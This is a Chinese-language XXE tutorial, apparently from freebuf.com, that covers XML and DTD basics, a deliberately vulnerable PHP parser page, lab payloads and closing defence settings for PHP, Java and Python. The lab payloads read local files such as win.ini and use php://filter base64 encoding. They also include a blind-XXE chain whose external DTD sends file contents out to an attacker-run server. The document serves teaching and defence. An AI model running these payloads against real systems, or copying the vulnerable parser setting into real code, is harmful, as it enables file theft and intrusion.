第一部分 XXE基础
前言:XXE漏洞是由于XML引入DTD不当,引发的漏洞。所以我们需要知道什么是XML,什么是DTD。
1.1 XML格式介绍
1.XML指可扩展标记语言(EXtensible Markup Language)。
XML是一种很像HTML的标记语言.可以解析很多 网络协议(如:http/ftp/file等其他协议,不同语言需要安装不同插件来支持)。
2. XML和HTML的对比
(1)用途不同
XML被设计用来对数据进行传输和存储数据;
XML是以纯文本方式独立于硬件和软件的信息传输工具,是w3c的标准—>着重于传输;
HTML被设计用来进行”格式化”的显示数据—>着重于格式化显示;
(2)规则不同
XML是支持用户自定义标签和格式的,非常灵活;这也就需要有一个“校验”来保证XML格式正确,而DTD正是用来实现对XML的“校验”功能。
HTML里的元素标签都是预定义好的;
3.XML格式说明
4.XML语法说明
- (1)所有XML元素都必须有一个关闭标签
- (2)XML标签对大小写敏感
- (3)XML必须正确嵌套
- (4)XML属性值必须加引号 <note date=”12/20/2008″>
- (5)对于一些特殊字符要用实体编码:
< < less than
> > greater than
& & ampersand
' ‘ apostrophe
" ” quotation mark - (6)XML中的注释符是<!–注释–>
- (7)XML元素命名最好用字母下划线组成,不以下划线开头
1.2 DTD实体引用介绍
1. DTD(Document Type Definition)作用: 对XML文档的结构进行规范.
2. DTD实体引用方式,主要分为内部DTD引用,外部DTD引用,公共DTD引用和参数DTD引用。
3. 内部DTD引用举例
说明:插入xml代码,为了方便,用//表示注释;正常注释应该是<!—->
//定义DTD
<?xml version="1.0"?> <!DOCTYPE person [ <!ENTITY writer "Jack Wilson"> <!ENTITY country "Copyright www.test.com"> ]>
//XML内部调用,实体有&/实体名称和分号结尾 <person>&writer;&country;</person>
4. 外部DTD引用举例
//基本格式
<!DOCTYPE 根元素名称 SYSTEM "外部DTD的路径"> //外部引用DTD格式: <!ENTITY test SYSTEM "http://www.test.com/test.dtd"> //调用公网URL <!ENTITY test SYSTEM "file:///c:/test.dtd"> //读取本地文件
//xml文件:引入DTD,调用元素显示。
<?xml version=”1.0″?>
<!DOCTYPE note SYSTEM “note.dtd”>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Do not forget me this weekend!</body>
</note>
//note.dtd文件,定义元素名称和类型
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
外部引入DTD时,不同语言支持的协议如下:
5. 引入公共DTD:调用公网存在的共用DTD文件。
//post型POC利用,这里的url一般是已经搭建的公网存放了恶意代码的服务器 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY > <!ENTITY % xxe PUBLIC "public_id" "http://192.100.10.1:81/evil.dtd" > %xxe;]> <name>&evil;</name> //外部 evil.dtd 中的内容(可以放在自己的服务器上)。 <!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
6. 引用参数DTD
//参数DTD基本格式
<!ENTITY % 实体名称 "实体的值"> 或者 <!ENTITY % 实体名称 SYSTEM "URI"> //POC利用代码 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY > <!ENTITY % xxe SYSTEM "http://192.168.10.31:81/evil.dtd" > %xxe;]> <name>&evil;</name>
第二部分 XXE漏洞
2.1 XXE漏洞介绍和危害
1.XXE(XML External Entity Injection):叫做XML外部实体注入。
为了更好的规范XXE文件的格式,引入DTD作为约束。这本来是一个正常的引入功能。
而XXE漏洞是攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致存在漏洞.
2.XXE漏洞危害
- (1)DDOS攻击(拒绝服务攻击)
- (2)文件读取
- (3)命令执行–>需要安装插件
- (4)SQL注入
- (5)内外网端口扫描
- (6)入侵内网站点等
2.2 XXE涉及函数
1. file_get_contents():把整个文件读入字符串中,以便进行后续处理。
2. php://input 表示读取请求原始数据的只读流。
3. simplexml_load_string()函数:把xml格式字符串转换为对应的xml元素。
4. simplexml_import_dom()函数:把dom节点转换为xml元素对象,如果失败返回false。
5. xml2.php漏洞代码分析
//利用页面xml2.php内容如下 <?php libxml_disable_entity_loader (false); //一定要是false,才存在XXE漏洞。 $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); echo $creds; ?>
2.3 XXE注入实验
1. 实验环境说明:
- phpStudy中php5.2+apache环境,测试浏览器用的是谷歌,谷歌需要安装hackbar。
- XXE是一个比较老的漏洞,现在比较少了。
- XXE漏洞代码,用的就是上边的xml2.php
2.实验1:DTD内部调用,读取本地文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test.com">
]>
<foo>&xxe;</foo>
3.实验2:调用外部DTD读取本地文件
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini" >]> <name>&xxe;</name>
4.实验3:使用参数实体引入DTD,读取文件
//POC利用代码;这里192.168.10.31是攻击者自己搭建的服务器,并存放了evil.dtd的XXE测试文件。 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY > <!ENTITY % xxe SYSTEM "http://192.168.10.31:81/evil.dtd" > %xxe;]> <name>&evil;</name>
//外部 evil.dtd(可以放在黑客自己的服务器上) 中的内容用来定义读取被攻击主机的文件路径。
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
5.实验4:但是当读取的文件中有特殊字符,比如< & 等。这时,用上边的方法就不能读取了。我们需要用到php://filter/read来对读取内容进行Base64编码。
//利用代码: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [ <!ENTITY % start "<![CDATA["> <!ENTITY % files SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/muma.txt"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://192.168.10.31:1001/evil.dtd"> %dtd; ]> <roottag>&all;</roottag> //外部 evil.dtd 中的内容。 <?xml version="1.0" encoding="UTF-8"?> <!ENTITY all "%start;%files;%end;">
6. 实验5:如果结果不能被显示在页面,这种无回显的XXE就是Bind-XXE。
//(1)在黑客的web服务器(地址:192.168.10.31:81)上创建一个测试文件命名为test.dtd,内容如下 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/muma.txt"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.10.31:81?p=%file;'>"> //(2)在浏览器使用post方式提交poc如下: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.10.31:81/test.dtd"> %remote;%int;%send; ]>
如果页面没有返回也没关系,可以到黑客自己的服务器日志里查看。
2.4 XXE防御
1. 版本说明:
- libxml2.9.1 及以后,默认不解析外部实体。
- 测试的时候 windows 下使用的是php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。
- Linux 中需要将 libxml低于 libxml2.9.1 的版本编译到 PHP .
2. 最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为false,XML外部实体攻击就能够被阻止
#PHP: libxml_disable_entity_loader(true); #JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); setFeature("http://apache.org/xml/features/disallow-doctype-decl",true); setFeature("http://xml.org/sax/features/external-general-entities",false) setFeature("http://xml.org/sax/features/external-parameter-entities",false); #Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
来源:freebuf.com 2020-08-25 22:48:37 by: zhijian
请登录后发表评论
注册